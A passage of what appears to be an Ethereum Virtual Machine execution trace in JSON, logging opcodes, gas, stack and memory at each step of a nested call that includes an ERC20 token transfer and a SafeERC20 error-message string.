916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x136dbf40ac09b","0xc50dfd48a20630e6","0xb27"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2850,"op":"SWAP1","gas":29543,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0xc50dfd48a20630e6","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2851,"op":"PUSH2","gas":29540,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2854,"op":"JUMP","gas":29537,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6","0x1ff8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8184,"op":"JUMPDEST","gas":29529,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8185,"op":"PUSH1","gas":29528,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8187,"op":"DUP3","gas":29525,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8188,"op":"DUP3","gas":29522,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8189,"op":"LT","gas":29519,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0","0x136dbf40ac09b","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8190,"op":"ISZERO","gas":29516,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8191,"op":"PUSH2","gas":29513,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8194,"op":"JUMPI","gas":29510,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0","0x1","0x200a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8202,"op":"JUMPDEST","gas":29500,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8203,"op":"POP","gas":29499,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8204,"op":"SUB","gas":29497,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0x136dbf40ac09b","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8205,"op":"SWAP1","gas":29494,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xb27","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8206,"op":"JUMP","gas":29491,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xc50cc66cadfb704b","0xb27"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2855,"op":"JUMPDEST","gas":29483,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2856,"op":"DUP4","gas":29482,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2857,"op":"GT","gas":29479,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0xc50cc66cadfb704b","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2858,"op":"PUSH2","gas":29476,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2861,"op":"JUMPI","gas":29473,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb34"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2862,"op":"PUSH1","gas":29463,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2864,"op":"PUSH2","gas":29460,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2867,"op":"JUMP","gas":29457,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb48"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2888,"op":"JUMPDEST","gas":29449,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2889,"op":"SWAP1","gas":29448,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000